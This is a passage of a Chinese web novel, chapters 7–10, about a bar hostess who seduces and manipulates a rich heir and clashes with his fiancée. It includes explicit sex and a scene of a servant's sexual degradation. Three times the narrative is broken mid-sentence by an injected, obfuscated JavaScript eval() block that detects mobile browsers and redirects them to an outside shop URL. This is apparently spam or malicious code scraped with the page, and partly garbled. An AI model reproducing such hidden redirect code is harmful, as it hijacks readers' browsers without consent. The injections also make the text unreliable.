《黎明之后[破镜重圆]》 7. 勾引 云遥打开菜单,价格几乎都在千元上下,咋舌说:“这么贵啊。” “不用你付账。” “不行,说好了我请客的。”云遥很固执。 “我是这家店的会员,每周有一次免单机会。我平时也不过来吃,如果不用掉也是浪费。” “这样啊……那好吧,那这次不算,我还是要感谢你。” 严泊裕对她的固执妥协,笑叹一口气,“好,下回换个方式吧,别吃饭了。” “好啊。”云遥问他,“您喜欢吃什么?” “我喜甜。” “糖醋排骨?糖醋鱼?” “我都可以,你看着点吧” 云遥点完菜,又点了一瓶红酒,菜单递回去,“您再看看。” “可以了。”严泊裕过一遍,抬抬手,服务员过来拿菜单。 云遥双手捧脸,欣赏又崇拜地望着他,像个小迷妹,“严公子好会照顾女孩子的情绪,您之前谈过恋爱吗?” “谈过。” “哇,那她漂亮还是我漂亮?” 这么幼稚的话,让严泊裕再一次认定她小孩子的属性,顺着回答:“在德国上大学的时候谈的,是个白人,没有可比性。” “就谈过这一个吗?您这么帅气、温柔、绅士,肯定有很多女孩子喜欢。” “后来又谈过一个,新加坡人,毕业回国的时候分的。” “因为国家不一样吗?” 严泊裕点头。 “那好遗憾啊。”云遥沮丧说。 服务员先上红酒,严泊裕给她倒半杯,“不用如此感伤,已经过去很多年了,再说,谈之前也知道会分开。” “哎……”云遥还是遗憾叹气,想到什么,偷笑说,“还好和她们分了,不然我真的一点机会都没有啦。” 严泊裕无奈摇头。 云遥站起来说:“我去一下洗手间。” 转身的时候,不经意间朝斜后方眺了一眼,一个女人,还在盯她。 被她捉个正着,女人慌乱拿包挡头。 云遥进洗手间,没多久就听见高跟鞋踩在地板上的脆响,不一会儿,女人昂首挺胸地走进来。 小裙子,高跟鞋,通身奢侈品的高贵名媛,面上更是妆容精致,与此刻怒意勃发的面容格格不入。 云遥眼神闪烁,却站着没动,害怕又好奇地望着她:“姐姐刚才为什么一直看着我?” 女人用力拽掉她身上的外套,嫌脏似的扔地上,俏眼圆瞪:“我警告你!我很快就要和严哥哥订婚了,你离他远点,别再勾引他,狐媚子!” 云遥害怕的抬手抱住自己,瑟瑟发抖,怕的快哭了,“姐姐饶命,我没有勾引严公子,我今天就是为了感谢他请他吃饭。” “感谢人要穿的这么骚?!还穿严哥哥的衣服?!我今天话撂这了,要是再让我看见你勾引他,脸给你毁了,看你还拿什么勾引男人!” 女人怒气冲冲地警告完,又瞪她一眼才转身离开。 听着脚步声,等人走远了,云遥看着地上的衣服,不知道多少人踩过的地板,不知道保洁阿姨是不是拿拖蹲便的拖把拖的地板,有些嫌弃地捡起来,犹豫片刻,还是抱进怀里,红着一双眼出去。 还没走回位上,严泊裕看见她一张受尽欺负的小脸已经站起来了,“怎么了?” 云遥含了一路的泪水簌簌往下掉,还要坚强摇头,“没事,我没事。” 男人冷呵,“你没事,那我的眼睛是瞎的吗?” 云遥抹一把脸,推着他的胳膊让他坐回去,软声说:“我真没事,你快坐下,店里人都看着了。” 男人站着不动,云遥改推他的腰,不知道戳到他哪个痒痒肉,他忽然脱力坐下,云遥也没站好,一下跟着倾倒,转了个圈也没站好,还是坐到了他腿上。 这瞬间,一道火热的视线像是要盯穿她的身体。 云遥扶着桌子想站起来,但起了两次都没起来,脸色羞红说:“严公子,您的腿太长了,我的脚没有落地,起不来……” 严泊裕顺势搂上她的腰,“不着急,先告诉我刚刚发生了什么?要知道,你不说,卫生间的监控也能说。” 云遥低着头,又开始掉眼泪。 男人掐着她的下巴逼她抬头,目光顷刻沉了下去,“到底发生了什么事?” 云遥怯怯垂下眼皮,“我……我不敢说。” 严泊裕不可思议,更觉可笑,“对我你还有什么不敢说的?就算天上的星星砸你头上了,我也能给你出气。” “您……好厉害啊。”云遥崇拜地望着他。 严泊裕依旧冷眸蕴怒,静静看着她。 云遥吞吞吐吐说:“刚才……刚才点菜的时候,我感觉有个人在一直看我,我进卫生间的时候她也进去了,摔了您的外套,还……” 她羞耻地咬着唇,耳朵尖都红起来,眼里盛满泪花,娇柔的身体也如雨中颤抖,楚楚可人的样子,“……还说,还警告我,让我不要……”烟波流转扫他一下,又垂下眼啜泣说,“……不要……勾引您,骂我狐媚子。” 严泊裕眉头紧皱,脸已经黑下去。 想到什么可怕东西,云遥身体抖了起来,男人搂她更紧,她便贴着他有力的胸膛,掉着泪害怕说:“她还说,我要是再勾引您,她就要毁了我的脸……” 说完她就闷声哭起来,身体抖如筛糠,“我好害怕,严公子……瑶瑶好害怕……” “谁?!”他沉声问。 “我不认识,我不认识她。” “她坐哪儿?” 云遥从他怀里起身,回头看一眼女人的位置,发现已经空了。 指着女人原先的位置说:“就是那,刚才那坐了个女人,她还说马上要和您订婚了。” 云遥担心地望着他:“您真的要订婚了吗?瑶瑶真的没有机会了吗?” 严泊裕没理会她这句话,打电话叫来经理,让调监控。 一会儿经理拿着平板过来,播放一段视频,在严泊裕和云遥点餐聊天时,那个座位上的女人一直盯着他们看,云遥离开时她也跟着进了卫生间。 严泊裕指着女人问:“是她吗?” 云遥怯怯点头,看见女人的样子就害怕,抱紧他手臂,像是已经有了心理阴影。 严泊裕看她两秒。他要和楚家小姐订婚的消息只有两家长辈在饭桌上提过一次,她知道的可能性几乎为零,说的应该没错。 楚冰娇也确实以嚣张跋扈著称。 “好了,不哭了。”严泊裕搂着她的肩膀轻轻晃一晃,抽纸擦掉她脸上的泪痕,“下回见到她,我一定替你出气,想要什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12958550|136696||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 东西,一会儿去买。” “嗯。”云遥点头,攀着他的肩膀,小鸟依人地靠在他胸膛上,“下回见到她,您一定要替我解释,我没有勾引您,我只是喜欢您,崇拜您,喜欢的不能自拔,我也不需要买东西,我就是害怕,万一她真的毁我容了怎么办……” 说着她又要哭起来,轻咬红唇憋住,仰头委屈问:“瑶瑶要是哭的多了,您会不会嫌弃呀。” “怎么会。”男人说,“先吃饭,吃完去买点喜欢的,她没有什么值得你害怕的。” “嗯。” 吃过饭,云遥顺着男人想要补偿的心思,去首饰店里挑了根项链,对比着男人脖子里那根,开心地笑,“好像情侣项链哦。” “喜欢吗?” “嗯。” 严泊裕摸摸她脑袋,刷卡结账。 离开商场,严泊裕提出送她回家,云遥攀着他的胳膊轻轻摇头,眼圈一红,泫然欲泣道:“我害怕……那位小姐看起来好厉害啊,她是不是真的有本事毁瑶瑶的脸……” 楚冰娇当然有这个本事。 严泊裕思考后说:“我在市区有套公寓,她不知道,你先去那住着吧。” 这是要金屋藏娇? 云遥犹豫片刻,乖巧点头,“嗯,好。” 橘黄暧昧的路灯下,她这个点头的动作像是按下了某个特殊按钮,男人的眸子微暗,微深,垂眸瞧她。 云遥被他盯的双颊粉红,羞怯回望,“严公子,瑶瑶喜欢您……” 天翻地覆,仿若一息之间。 开锁,关门。 云遥被男人大腿抵上门板,下巴被他掐起来用力吻着。 口舌翻卷,她被呛到咳嗽,咳得面色通红,男人开了灯,拇指用力抹去她唇边银丝,看着她绯红的脸蛋。 “怎么连气都不会换,萧烜和萧郑息都没教你么?” “……他们都拿我当玩物,怎么会和我接吻。”云遥低声委屈,“只有您,把瑶瑶当个人,才愿意和我接吻。” 她眼眶含泪,自卑到了极点,“您……会觉得瑶瑶很脏吗?” 严泊裕不说话,幽深黑眸盯着她不动。 云遥双瞳含水,脸颊艳若桃花,自卑怯懦地痴望着男人。 几乎是一眨眼的时间,云遥被男人大力丢到沙发上,他欺身压来与她用力接吻,耳鬓厮磨中亲上她的耳垂,微哑的性感嗓音,“……他们不教,我教。” 云遥扬唇微笑,露出自己最迷人的笑容和眼神,感激地看着他,仿佛受到了莫大的恩赐。 曾经,有个少年说,她这样勾着眼睛笑最迷人,每每令他难以自控。 世间男人大都相同,他终于撕掉虚伪的绅士外表,恶狠狠掐一把她的屁股,又扇一巴掌,沉声斥骂:“还说没有勾引我!” 云遥委屈落泪,“瑶瑶就是没有。” “你没有那我怎么回事?” 他顶一下,云遥就羞成了最艳的玫瑰花,婉转叫一声,“严公子……” 严泊裕用力掐她屁股,她有没有勾引他能不知道?这么叫一嗓子,真是不管他的死活。 “再敢勾引我,信不信弄死你。” 云遥双手攀上他肩膀,泪眼羞涩,掐了一把好水嗓,“那严公子……您……喜欢吗?” “妈的——” 8. 暴露 仿佛进入了一个恶性循环,严泊裕越用力她嗓音越婉转娇媚,刺激的他更用力想弄穿她止住声音,从沙发到卧室,再进浴室,重新回到床上,直到她嗓子哑了,泪流干了,虚脱的再叫不出声,才止住了这晚超出他三十多年的荒唐。 躺在床上,点一根烟,严泊裕也尝到了那晚在会所萧郑息尝过的滋味儿,怪不得连进里面的卫生间都等不及。 云遥从浴室出来,只穿了一件他的黑色衬衣,遮到臀部下面。这里没有女人的衣服和内衣。 夏天的衬衣格外轻薄,穿在她身上宛如一件走针密集的黑丝,男人看过来,烟雾中的双眼眯了眯,等她膝盖跪上床沿弯腰,衬衣往上缩,他夹烟的那只手伸过去掐了一把。 她声音低弱地哀叫一声,躺进他怀里,想拿他手里的烟,被男人躲了过去。 “小丫头吸什么烟。” 云遥看着他,等他吸完下一口,攀住他肩膀伏吻上去,男人夹烟掐她屁股的手更加用力,她不但不松口,还越亲越深,他便掐着她下巴逼她松开,喘着气问:“还没喂饱你?” 云遥被辛辣的烟味呛的咳嗽,跪坐在他身侧,含情脉脉地看着他吞云吐雾,像极了一副执拗迷恋他到极致的状态。 严泊裕一根烟抽到最后,在床头的烟灰缸里揿灭,拽过来她的胳膊,她衬衣里面什么没都穿,摸着已经湿了,翻身压下。 …… 男人过了三十依旧强悍,隔天早上醒来,云遥浑身疲惫,躺了一个小时才坐起来,看见床头放了一套衣服。 穿身上试了试,内裤均码还行,裙子和胸罩全都不合身。 不过都是大了一号,也算能穿。 回家换上合身的衣服,中午,云遥接到严泊裕电话。 他上午去了一趟楚家,与楚父和楚冰娇聊了聊昨晚的事,婚事还没一撇呢就把自己当正宫教训人去了,真以为现在就能爬到他头上耀武扬威了。 闹这一场,这个婚事再往下商量,估计——难。 楚父当着他的面教训了一顿女儿,楚冰娇哭哭啼啼抓着严泊裕的袖子哀求:“严哥哥我错了,我去和那位小姐道歉,你不要怪罪我爸爸。” 严泊裕将楚冰娇的话总结给她,云遥心道不必,嗓音微哑,紧张说:“这怎么可以,严公子,瑶瑶承受不起的,不行不行。” “没什么不行,给她长长记性。” 严泊裕决定了的事,说一不二,订了晚上的饭局。 电话被挂断,云遥气得磨牙,攥紧了手机。 好一招借刀杀人,让她去得罪嚣张跋扈的千金大小姐,为他结婚后的逍遥快活铺设康庄大道。 云遥带着香水回到严泊裕的公寓,在他经常出入的玄关口、阳台和床上都喷上一层浅浅的香水。 酒吧特制的香水,留香时间特别长,如果遇上出手阔绰的单身有钱人,她们会特意喷上一点,喝酒调情时倚在客人身上,一周之后还能残留非常淡的香气,勾着男人回想起她们,念着再来。 不知道严泊裕多久过来一次,但这是她仅有的机会了。 傍晚严泊裕来接她,见她穿的还是昨天那件小裙子,“床头给你准备了新的,怎么没穿?” “你还说呢。”云遥有些生气地拍他胸口,嗔恼说,“只有内裤能穿,内衣和裙子都大了一个号,让我怎么穿嘛。” 男人明显受用,顺势搂上她,“我的错,我只是估了个大概,那怎么办,再让人去买新的,还是一起去买?” “一起去吧。”云遥欢喜说,“我之前做梦都想和心爱之人一起去逛街,做一对最平凡的小夫妻。” 严泊裕没应她这句话,“喷香水了吗,好像比之前香了。” 云遥指尖点在他胸口,忐忑抬眼问:“那严公子……您喜欢吗?” 他微微一笑,“喜欢。” 进了商场,云遥全程小鸟依人,小心翼翼询问严泊裕的意见,试过之后,也是站在他面前要他决定。 最后又从他点头的几件里,让他选一个买。 “都挺好看的,全要了吧。” 云遥惊讶,“全要?” “怎么了?”他哼一声笑。 云遥挽上他手臂,望着他的眼里满是爱意,“我在想,要是我在这亲你,你会介意吗?” “你要是愿意,我又有什么介意的?” 云遥踮脚,在他脸上轻轻印下一个吻。 “你真好。”她开心说。 男人唇角轻弯,“再看看鞋?” “这……不太好吧?” “这有什么。” 看了鞋子,又看包包和首饰,东西多的车子塞不下,除了云遥穿戴在身上的,其余东西都送到了严泊裕的公寓。 随后前往订好的饭店。 路上,云遥低头看手机,找朱朱说好,手机开响铃,一旦让她打电话,一分钟内打过来。 瑶瑶:过后重赏。 朱朱:得嘞,小妞儿。 进了饭店包厢,空荡无人,楚冰娇还没到。 但时间已经超了十一分钟。 严泊裕脸色未变,眼神已经冷了。 接过来服务员的菜单,他递给云遥,“先点菜,只管点你自己喜欢的。” “会不会不太好啊?楚小姐是不是路上遇到麻烦了,您要不要问一下?” “你只管点菜就是。” 云遥低下头看菜单。知道他什么打算,但并不愿意顺着他的意,点了十几道甜口菜,她记忆力好,回想起昨天楚冰娇桌上的菜样,再和菜单上的对照,点了几道楚冰娇喜欢的。 严泊裕看见,扫她一眼,“我记得你喜欢吃辣?” 云遥似有些不好意思又难堪地笑,“以前家里条件不好,吃辣下饭,但现在我更想和你口味一样,能和你一桌吃饭。” 男人摸摸她的头,菜单递给服务员。 上菜之前,云遥去一趟卫生间。 在洗手台边,看见穿着公主裙的楚冰娇。 原来她早就来了。 云遥拐弯往卫生间里走。 她动,楚冰娇动,拽住她的胳膊,挥手就给了一巴掌。 这一巴掌来的太快,云遥尚未反应过来,已经耳朵听响,脸颊火烧一样火辣辣地疼起来了。 耳朵似乎也耳鸣了。 她捂着脸,痛得泪如雨下,“楚小姐……” “贱人!狐狸精!”楚冰娇亮出手机屏幕里她在商场吻严泊裕的照片,“还敢说你没有勾引严哥哥,他都为了你找我爸去了,还说要和我退婚,你怎么这么贱啊!一点脸都不要!” “我没有……”她声音虚弱。 “别给我装可怜!臭白莲!死绿茶!严哥哥吃你这一套,我可不吃!” 楚冰娇端起提前准备的一盆子冰水,用力泼她身上。 饭店空调本就开得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12958551|136696||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 低,这一盆子夹杂着冰块的冰水泼到头上,云遥脑袋仿佛被无数根寒针刺穿,冷痛到麻木,身体寒战不止。 尤其大姨妈就在最近几天。 真是倒霉到家了。 “还想让我给你道歉?你算个什么东西?!你有这个脸吗?一个酒吧的陪酒女,千人骑!万人睡!身份肮脏低劣,你配吗?!” 还不是时候。云遥警告自己,强行按捺下想要挥到她脸上的拳头。 卫生间里闹出了事,很快经理带着服务员和保安过来,云遥被服务员护送回包间。 严泊裕看见她落汤鸡一样的惨样,又惊又怒,猛地站了起来,“怎么回事?” 云遥眼眶通红,蓄满了泪,抬头看他,未语泪先流。 服务员说:“这位小姐在卫生间里被一个女人泼水了。” “麻烦找个毯子给她包住。” “好的。” 留云遥在包间待着,严泊裕大步往卫生间走,正好看见楚冰娇从女卫生间里出来。 “楚冰娇!”他怒声含住。 楚冰娇骄傲地扬起脸,“我告诉你严泊裕,让我楚冰娇去给一个身份低劣、对谁都能陪笑的酒吧陪酒女道歉,做你的春秋大梦吧!要是让我爸知道你让我给什么人道歉,他肯定站我这边,不嫁就不嫁!我楚家还没有落魄到要对一个酒吧陪酒女低头哈腰的地步!” 她说的时候,眼睛不受控制往他身后瞟,严泊裕愣了一下,忽然预感到什么回头,云遥像阿拉伯人一样披着包头的浴巾,眼眶通红,泪眼闪花地望着他。 在大庭广众之下这样被人以恶劣的、不堪的语言揭露出来,让她自卑难堪到了极点。 楚冰娇狠狠瞪他们两个一眼,抬头挺胸骄傲离开。 严泊裕用力掐了下指头,镇定对云遥说:“先回去吃饭吧。” 他从云遥身边走过,女人却没动。 “走吧。”他说。 云遥低泣着,鼻音哝哝小声说:“我就不去了吧,省的脏了严公子的眼睛和地方。” 他垂眼看她,走廊还有客人经过,他声音很轻、颤抖和不可思议问:“……你真是……” 在他问出来的这一瞬间,云遥眼睛包不住泪地落下来。 她哭得凄凄惨惨,严泊裕心里也不舒服,尤其两人昨晚还做的那么激烈畅快,一想到自己竟然与一个酒吧陪酒女颠鸾倒凤大半夜,在一个陪酒女身上找到了温柔乡,不至于说像吃了一口苍蝇那么膈应,却也无法接受…… “萧郑息知道吗?” 她缓慢地摇摇头,木然说:“我不知道……瑶瑶不是有意隐瞒您,瑶瑶是太喜欢严公子了,担心严公子会厌恶瑶瑶,所以一直不敢主动吐露……” 严泊裕沉默。 他是看她跟过萧郑息,左云晟也上赶着和她亲热,下意识忽略了对她背景方面的考量…… 云遥拿一双泪眼看他,星星点点的泪花中藏尽了不舍和眷恋,“严公子……严公子若是真的嫌弃瑶瑶脏,不能接受的话,那瑶瑶就走吧……” “怨不得你,是我没问过,等等我吧,我去结账,一会儿送你。” “不要了吧,不要再脏了严公子的车……”云遥还是那么望着他,又多了一丝留恋和绝望,似乎这一眼之后,两人便是永别,她要永远记住他的样子,以供他日回想,夜夜思念。 很多年没有过的感觉了,严泊裕心口突然抽了两下。 9. 傻逼 以防自己去结账的时候她走了,严泊裕差个服务员拿pose机过来刷卡,让云遥摘下浴巾还给她,带她出去。 他已经不愿意再摸她的手了。 终归……还是有些膈应。 正是下班吃饭的高峰期,街上车流密集,路边,云遥双手拘谨地交握在身前,低头垂泪道:“严公子还是不要送了,让瑶瑶自己走吧。” “这没什么,该送回家还是要送回家。” 严泊裕刚才喝了点酒,叫司机来接,和云遥同坐在后座,她姿态依旧拘谨,他也未动分毫。 车里气氛实在压抑,严泊裕指头敲了敲腿,捱过心里那一关,低声问她:“……你……在哪个酒吧?” “……alluring.” 她的英文发音带着土气,严泊裕反应了一会儿,没想起来有这个酒吧,重复问:“alluring?” 他的英文发音非常熟练,饶舌饶的很厉害,云遥猜着应该是美音。 “嗯。”她点头。 严泊裕在手机上搜了一下,是家偏中高端的酒吧,但还够不上让他屈尊的资格。 “挣钱吗?” 云遥摇头。 “那些客人……对你怎么样?” 云遥转眸偷偷瞧他一眼,依旧泪眼婆娑,在和他对视的那一刹那,就难受的不敢再看,怕她的脏污染了他,扭回头来,垂眼落泪。 严泊裕看着她,在饭店那种心脏紧缩的感觉又来了,甚至有些闷,像夏季暴雨前阴沉沉的空气,闷窒的他难以呼吸。 车子抵达胡同口,已经有另一辆车停在前头,车边站了四五个保镖,每人手上都提着几个纸袋,那是下午在商场,严泊裕给云遥买的东西。 司机下车后,严泊裕递给云遥一张卡,“密码六个六,里面没多少钱,但应该够你当本钱做个正经事了,留着用吧。” 云遥诚惶诚恐地拒绝,“不行不行,严公子,瑶瑶怎么能拿您的钱。” “你我……毕竟有过一场。” 云遥咬唇,哭红的脸颊又升了一个度,为难羞涩说:“那是、那是……瑶瑶自愿的,瑶瑶喜欢您,崇拜您,瑶瑶……愿意……” 到最后一句,声音已经轻不可闻,转眸望了他一眼。这一眼,秋波送水,含情的厉害,让严泊裕心里又突了一下。 他觉得,之所以让他忽略对她身份的存疑,除了萧郑息和左云晟的关系,还有一个原因,是她给人的感觉太干净,太生涩,太纯真,是个真性情的人,毫不避讳表达自己的情感,身上完全没有酒吧陪酒女的庸俗风尘气。 “你怎么会去酒吧做?” “因为……缺钱。” “拿着吧。”严泊裕再将银行卡递给她,她不愿接,他从她胸口放进去,“既然缺钱,就拿着吧,找个正经活做。” “那些东西也都是你的。”他指着那几个保镖提的东西,“都是按你的尺寸买的,即便你不穿,也没人能穿,都拿着吧。” 他挥挥手,云遥含泪与他依依惜别,保镖跟着她进胡同。 到院子门口,云遥对他们几个说:“谢谢各位大哥,都放这里吧,辛苦了。” “小姐再见。”领头的说完,带着其余几人离开。 过了会儿,云遥拐回胡同口看一眼,确定都走干净了,抹干净脸上的泪,掏出胸衣里的银行卡,冷笑一声。 男人真是奇怪,总想拉良家妇女下水,又爱好劝风尘女子从良。 地上的东西太多,云遥一趟拿不完,进客厅后叫了一声:“张清让。” “哎——瑶瑶姐!” 张清让从卧室跑出来,光着上身,就穿了一条花色大裤衩,云遥扫两眼,笑他一声:“你身材好柴啊。” “我……”张清让低头看一眼自己,立刻良家妇女一样双手抱胸,脑袋蹭一下憋红了。 “去门口拿东西去。” “哎,好!” 张清让跑到院子里,从晾衣绳上摘个背心套上,去门口提东西。 外面太黑看不清,进屋才看出来袋子里都是什么东西,张清让震惊:“姐,你购物去了?买这么多东西?” “不是我买的。” 等他把东西都提进来,云遥打开装首饰的盒子,掏出一整套钻石首饰,给张清让看一眼,丢给他,“辛苦费,送给喜欢的姑娘吧。” “我靠——”张清让惊呆了,“姐,你干嘛去了?你自己买的还是谁给你买的?这也太大手笔了吧。” 云遥冲他一笑,有些狡黠,“我去给人哭丧去了。” “啊……啊?”张清让又被吓呆了,“姐……姐,你现在干这个活?这不会都是死人的东西吧?” “瞎说什么,这都是给我买的,你咒我死啊?” “我不是这个意思。”张清让问她,“你去哪哭丧的,真这么挣钱吗?带我一块啊。” “你哭的出来吗?”云遥怀疑看他。 张清让犹豫一秒,挠着头嘿嘿笑,“男子汉大丈夫,确实不容易哭出来哈哈。” “行了,那套首饰你留着吧,送人套现都行,就是套现别在芜江套,换个远点的。” 她这句话又让张清让提心吊胆起来,“姐,你不会是偷的吧?” 云遥瞪他一眼,“全市就这一套,人家今天送我,你明天去套现,让别人怎么想?” “也是,也是。”张清让连忙将盒子丢沙发上,帮云遥提东西上楼,“姐!你是我亲姐,你歇着,我来,我来。” …… 夜里,云遥脑袋沉甸甸地醒来,发觉身上冷得厉害,但睡衣湿哒哒黏在身上,浑身虚软冒冷汗,明白是淋那一脑袋冰水的威力,努力睁开眼睛爬起来,找到之前剩下的退烧药,混着凉水咽下去。 脑子实在昏沉,什么也来不及想,倒头又睡了过去。 凌晨再醒来,烧已经退了,但身上依旧黏糊糊的,拿上浴巾和新睡衣去卫生间冲澡,一身清爽回到床上,再睡就睡不着了。 透过窗户,云遥望着天边渐渐冒出的熹微红光,盘算着下一步该怎么走。 吃早饭时,张清让忽然琢磨过来味,什么哭丧去了,全是逗他的。 “是上回那个车?”他问。 没头没脑的一句话,云遥反问:“什么车?” “上回送你回来的那个车,昨晚那些东西都是那个车里的人送你的?车里是个男人吗?” “嗯。”云遥情绪淡淡,“挺不错,猜的真准。” “姐你……”张清让想说什么,又憋着说不出来,便秘一样的表情。 云遥皱眉,“什么眼神儿,都是分手费。” “哦……” …… 回到庄园,严泊裕连夜吩咐人去查 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12958552|136696||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,查瑶瑶的身份,查萧郑息两兄弟和左云晟,是不是给他做的局。 事情简单,查的也快,第二天就有了回音。 瑶瑶和萧家两兄弟的牵扯简单。前些天,萧烜去alluring消费,瑶瑶进了那间包房,结束后两人就去了酒店,那晚严泊裕在大厅也见到了,但第二天,瑶瑶忽然不见萧烜了,几天后的一个晚上,她又在酒吧门口被萧烜叫住,因为痛经被萧烜送到萧郑息的医院,在医院和萧郑息认识,随后就是他们在会所遇见。 逻辑看似通畅,却存有无数疑点,据严泊裕所知,萧郑息和萧烜的关系还说得过去,他怎么会夺弟弟的女人? 另有个非常大的问题,瑶瑶是在去年初春突然出现在芜江,此前所有背景都是空白。到芜江之后,她先后做过服务员、洗头小妹、迎宾小姐、酒吧陪酒女,都是以“瑶瑶”这样一个昵称行事,连真实姓名都没有。 那么,凭着这些社会最底层的经历,接触的也都是社会最底层和平凡的人群,她是怎么获知他的消息,然后崇拜他、爱慕他的? 作为严家的下一任掌权人,严泊裕的所有信息对外都是保密,甚至包括严家主家,所有人的信息都不会放到网络上,其他分支即便要在网上露面,也是各有各的身份,从不允许打任何严家的旗号。 还是说,她和萧烜、萧郑息碰过几次面,偶然听过他的身份事迹,见过他两面,得他一次照拂,就对他情根深种、不能自拔了? 这个女人,从最底层爬上来,却无论是面对萧郑息,还是面对他,从不怯场。 带着这些问题,严泊裕找上了萧郑息的家。 萧郑息住在离医院和大学同样近的公馆,一楼客厅,此刻正有女佣浑身赤-裸,跪在茶桌边给他倒牛奶。 面颊红润,身体颤抖,手里倒牛奶,下面也在淌牛奶。 萧郑息瞧着是刚洗过澡,穿件深灰色浴袍,黑色短发泛着潮气,四肢大敞,慵懒倚在黑色大沙发上,瞅见女佣颤抖身体下的东西,啧一声,“刚才不是说了夹好,流出来了,一会儿惩罚你,嗯?” 女佣脸色陡然惨白,“别……少爷不要……” 严泊裕将东西丢他身上,“看看这个。” 萧郑息扫他一眼,打开袋子看文件,几眼掠过去,抬眼觑他,声音也冷了:“你查我?” 严泊裕站在沙发背后,双手扶上沙发边,黑压压的视线紧盯着他,嗓音同样又紧又冷,“你摆我一道?” “妈的。”萧郑息可笑地咒骂,扭头笑一声,“不是,严泊裕,你自己把人劫走的,你说我摆你一道?你他妈自己被一小妞儿玩了,你来找兄弟麻烦?知道吗,就因为你把人劫走了,左三和我闹了好几天脾气,折了好几个心头好给他泄怨。” 他脚指点点地毯上女佣的肩膀,睨她一眼,“要不然也轮不上你。” 女佣诚惶诚恐地伏下头,纤细的身体瑟瑟发抖。 严泊裕说:“要不是有你和她的那一回,我能不调查?” “你自己着了她的道,赖谁?” 他张口闭口自己着了那女人的道,严泊裕皱眉问:“你早知道她是什么人?” “我操,我能不知道?”萧郑息指着医院的方向,“痛经成那样也不忘勾引我,满口的崇拜喜欢,我要真信了,我萧郑息就是全世界最大的大傻逼。” 严泊裕:…… 10. 别碰我 严泊裕又发现一个矛盾点,“你说她勾引的你?” “不然呢?”萧郑息乜他一眼,“难不成她跟你说,是我勾引的她?” 严泊裕没说话,在他身边坐下,拿个杯子给自己倒杯水。 萧郑息踢女佣一脚,冷声斥咄:“傻了?一点眼色劲都没有,没看见严少爷渴了?” “严少,我来,我来……” 女佣抢着去给严泊裕倒水,他端着杯子挪开,“我自己来。” 女佣小心看向萧郑息请求指示,他挥挥手,她像是终于得到敕令,飞快抓起地板上的内裤和胸罩逃离现场。 这种荒淫场面来萧郑息这多了,便不觉有什么稀奇,但这回见,严泊裕脑海中浮现出那天会所里女人贴着球桌的悲戚眼神,转头看了一眼女佣奔跑的慌乱背影,细腰翘臀,东西滴滴答答落了一路…… 他皱皱眉,“就算在你自己家,也收敛一点。” 萧郑息失笑,“你自己听听你这话,这是我自己家,我还收敛什么?” “随时会有外人过来,人家小姑娘也不好受。” “呦——”萧郑息讽刺他,“好不容易开回荤,还给你开出怜悯之心了?” 严泊裕问他:“你都查出什么了?” “我能查出什么,你都没查出来,我就随便查一查,身体干净就行了。” 他这再问也问不出什么,严泊裕放下水杯离开。 …… 过几天,严泊裕在饭桌上喝多了酒,胃里不舒服,司机就近将他送到之前那套公寓。 推门的一瞬间,严泊裕闻到说浓很淡,说淡却有些浓的香气,一股说不上来的熟悉味道。 曾几何时,有人害羞又勇敢地问:“那……你喜欢吗?” 这种话问哪个男人,没有不高兴的。他也一样。 酒气上涌,脑袋昏沉的厉害,他脚步沉重地去阳台打开窗户,外面清新的空气涌进来,室内外空气对流,味道总算淡了一些。 进入卧室,洗完澡躺到床上,刚准备放松身体睡一觉,那股熟悉的香气又萦绕回鼻端。 人就来了一次,也离开了将近一周,却每一次的呼吸都有她的存在,无时无刻不在提醒他,那晚自己是如何在她身上潇洒放纵,沉醉在她那片温柔乡。 摸着身下与那晚相同的被褥,严泊裕脑子里不由自主地回想起那晚抚摸她皮肤的触感,同样的细腻丝滑,令他爱不释手,她那处的别样温暖,倾与他的热浪,舒服或难耐时婉转惑人的低吟,每每令他难以自抑…… 空旷明亮的卧室内,男人猛然起身推开窗户,伴着夜色连抽两根烟,身体回忆起那晚销魂蚀骨的冲动才渐渐平息下去。 他盯着远处霓虹闪烁的酒吧灯牌,用力掐指,捻灭烟头。 黑夜无边,灯红酒绿的光线和躁动暧昧的乐声不知迷惑了多少人眼,云遥穿梭其中,跟着姚姐上楼,来到一间从未踏足过的黑色包间门口。 姚姐叮嘱说:“这回是贵客,好好伺候,把人哄开心了,事后少不了你的。” 总有那么一群上层人,对这些庸俗的底层娱乐满口批判,心里却又痒得发慌,来得躲躲藏藏,以为这样就能维持自己高贵的身份。 遇上这样的高贵客人,她们这些酒吧培养的“公主”只需做好烘托大人物的绿叶陪衬,结束后酒吧自会按最高规格的提成记账。 